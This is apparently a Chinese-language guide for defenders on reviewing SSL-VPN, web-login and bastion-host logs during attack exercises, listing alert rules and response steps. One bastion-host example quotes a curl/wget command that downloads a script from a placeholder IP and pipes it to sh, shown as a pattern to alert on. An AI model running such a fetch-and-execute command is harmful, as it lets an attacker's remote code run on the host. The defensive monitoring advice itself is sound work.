目录
在安全监测与巡检过程中，经常会对日志进行审核，总结以下异常情况供师傅们参考：
一、异常日志参考点：
二、重点关注以及目的
1、用户会话数量
2、同一帐号大量登陆失败行为
3、同一源IP地址大量登录失败行为
4、 异常时间登陆行为
5、特权用户登录行为
6、帐号创建行为
7、 口令变更行为
8、帐号权限提升行为
在安全监测与巡检过程中，经常会对日志进行审核，总结以下异常情况供师傅们参考：
一、异常日志参考点
场景一：深夜晚上24点-凌晨6点，SSL-VPN有登录成功的日志，异常登陆时间需关注；
场景二：针对一下web应用，短时间内大批量的登录尝试，某帐号5分钟内登陆失败超过5次产生告警；
场景三：堡垒机日志
1、异常行为日志，如堡垒机的操作日志中看到行为在非工作业务时间，下载执行网站内一些异常东西，如日志内含有此执行的命令“(curl -fsSL -m180 x.x.x.x:443/slk||wget -T180 -q x.x.x.x:443/slk)|sh”，产生告警；
2、创建用户的行为：非业务时间，新增了一个账号，产生告警；
3、非业务时间，异常时间登录，产生告警；
4、同一个IP，连续登录多个账号，产生告警。
二、重点关注以及目的
1、用户会话数量
监控策略：在演练期间，将应用的用户会话日志，生成Top用户会话柱状图。
监控目的：攻击者获得VPN或堡垒机的权限后，会进行大量访问活动，远高于正常用户，因此Top会话的用户，大概率存在失陷可能。
应急处置：联系对应用户，确认是否本人行为。若是，可闭环告警；若不是，应立刻禁用帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。
2、同一帐号大量登陆失败行为
监控策略：在演练期间，同一帐号在1分钟内发生大于等于5次登录失败的行为，即产生告警。
监控目的：攻击者针对某个帐号进行口令爆破。
应急处置：联系对应用户，确认是否本人行为。若是，可闭环告警；若不是，应与用户了解帐号近期使用计划，沟通是否可以临时禁用帐号24小时或7天。
3、同一源IP地址大量登录失败行为
监控策略：在演练期间，同一源IP地址在1分钟内发生大于等于5次登录失败的行为，即产生告警。
监控目的：攻击者针对某几个弱口令，对所有帐号进行爆破。
应急处置：封禁攻击源IP地址；密切关注对应弱口令的登录成功情况；评估对应弱口令在应用中的使用情况；在应用后台将对应弱口令加入黑名单。
4、 异常时间登陆行为
监控策略：在演练封网期间，存在用户登录行为，即产生告警。
监控目的：发现封网期间违规登录的正常用户，或攻击者登录行为。
应急处置：联系对应用户，确认是否本人行为。若是，提示违规变更并闭环告警；若不是，应立刻禁用帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。
5、特权用户登录行为
监控策略：在演练期间，发现特权用户的登录日志，或特权帐号的通信会话，即产生告警。
监控目的：特权用户的权限巨大，是攻击者利用0day漏洞主要想要获取的帐号，应监控特权帐号使用情况，分析是否攻击者行为。
应急处置：联系对应用户，确认是否本人行为。若是，可闭环告警；若不是，应立刻禁用帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。
6、帐号创建行为
监控策略：在演练期间，存在新建用户帐号行为，即产生告警。
监控目的：是攻击者获得平台帐号后，一般会创建其他帐号作为后门，以便在其他帐号被禁用或修改密码后，仍然可能访问平台。
应急处置：联系创建帐号的用户或者平台管理员，确认是否本人行为。若是，可闭环告警；若不是，应立刻禁用源帐号和新建的帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。
7、 口令变更行为
监控策略：在演练期间，存在用户口令变更的行为，即产生告警。
监控目的：攻击者可能获得未授权重置密码等漏洞，通过修改用户口令从而获得帐号权限。
应急处置：联系对应用户，确认是否本人行为。若是，可闭环告警；若不是，应立刻禁用帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。
8、帐号权限提升行为
监控策略：在演练期间，存在普通权限用户提升为特权用户的行为，即产生告警。
监控目的：攻击者获得普通帐号权限后，可能通过权限提升漏洞获得管理员权限帐号。
应急处置：联系对应用户，确认是否本人行为。若是，可闭环告警；若不是，应立刻禁用帐号，并基于帐号使用情况开展应急溯源，排查漏洞情况、后门情况、横向情况。